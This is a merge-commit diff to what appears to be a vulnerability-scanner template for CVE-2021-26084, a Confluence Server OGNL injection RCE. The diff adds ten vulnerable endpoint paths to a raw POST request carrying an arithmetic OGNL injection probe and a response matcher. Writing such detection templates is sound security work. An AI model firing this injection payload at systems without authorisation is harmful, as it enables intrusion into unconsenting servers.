Merge pull request #2555 from pdelteil/patch-46

Update CVE-2021-26084.yaml

cves/2021/CVE-2021-26084.yaml

@@ -1,25 +1,40 @@
 id: CVE-2021-26084
 
 info:
-  author: dhiyaneshDk
+  author: dhiyaneshDk,philippedelteil
   severity: critical
   name: Confluence Server OGNL injection - RCE
   description: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.
   tags: cve,cve2021,rce,confluence
   reference:
     - https://jira.atlassian.com/browse/CONFSERVER-67940
-    - https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
+    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
     - https://nvd.nist.gov/vuln/detail/CVE-2021-26084
+    - https://github.com/Udyz/CVE-2021-26084
 
 requests:
   - raw:
       - |
-        POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
+        POST /{{path}} HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
         queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
 
+    payloads:
+      path:
+        - pages/createpage-entervariables.action?SpaceKey=x
+        - confluence/pages/createpage-entervariables.action?SpaceKey=x
+        - wiki/pages/createpage-entervariables.action?SpaceKey=x
+        - pages/doenterpagevariables.action
+        - pages/createpage.action?spaceKey=myproj
+        - pages/templates2/viewpagetemplate.action
+        - pages/createpage-entervariables.action
+        - template/custom/content-editor
+        - templates/editor-preload-container
+        - users/user-dark-features
+
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
       - type: status
@@ -29,4 +44,4 @@ requests:
       - type: word
         part: body
         words:
-          - 'value="aaaa{140592=null}'
+          - 'value="aaaa{140592=null}'